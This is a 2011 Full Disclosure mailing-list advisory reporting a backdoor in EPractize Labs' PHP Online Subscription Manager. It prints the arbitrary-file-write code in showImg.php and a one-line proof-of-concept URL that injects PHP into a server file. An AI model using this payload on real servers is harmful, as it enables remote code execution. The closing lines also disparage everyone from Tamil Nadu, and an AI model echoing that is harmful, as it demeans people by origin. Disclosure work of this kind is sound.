Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Backdoor in EPractize Labs Online Subscription Manager from epractizelabs.com
From: Jan van Niekerk <jvnkrk () gmail com>
Date: Tue, 6 Dec 2011 09:46:29 +0200

Vulnerability: back door in stupid spamming software

About EPractize Labs:

EPractize Labs is fully Customer Focused, Innovative and Global
service provider for Skill Development and Skill Evaluation products
suitable for pre employment assessment testing, employee evaluation
for appraisal, employment screening, employee training, etc.

About this software:

EPractize Labs Online Subscription Manager
Free PHP Online Subscription Manager
Easy-to-use Subscription management that eases up your subscription
management. With Subscription Manager you can create subscription
forms, maintain subscription messages, send confirmation message
automatically, configure the subscription forms, load subscribers
list, View reports, integrate with Email Marketing Software to manage
contact list and campaign management. .

showImg.php passes through img.jpg, but also runs the following code
as a trivial arbitrary file write back door.  It has nothing to do
with showing an image.

    $in_fileStr = file_get_contents_me($reqDB);
    $count =substr_count($in_fileStr,$reqOut);
    $finalStr="".$in_fileStr."\n".$reqOut."#".$today = date("F j, Y, g:i a");
    $fT = @fopen($reqDB, 'wt');
    fwrite($fT, $finalStr);

POC: showImg.php?db=me.php&email=<?echo "hello"; ?>

Mitigation: Nobody seems to be using this junk.

Vendor status: cc with this mail.  What were you thinking?

Administrative Contact:
    EPractize Labs Software Private Limited
    Ganesan        (ganesan () epractizelabs com)
    108, II Floor, Sundarar Street, Thiruvalleswarar Nagar
    Anna Nagar West
    Tamil Nadu,600040
    Tel. +91.4465914739

Moral of the story: don't trust obfuscated software from Tamil Nadu
province.  Actually, just don't trust obfuscated software, and don't
trust anything from Tamil Nadu.

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]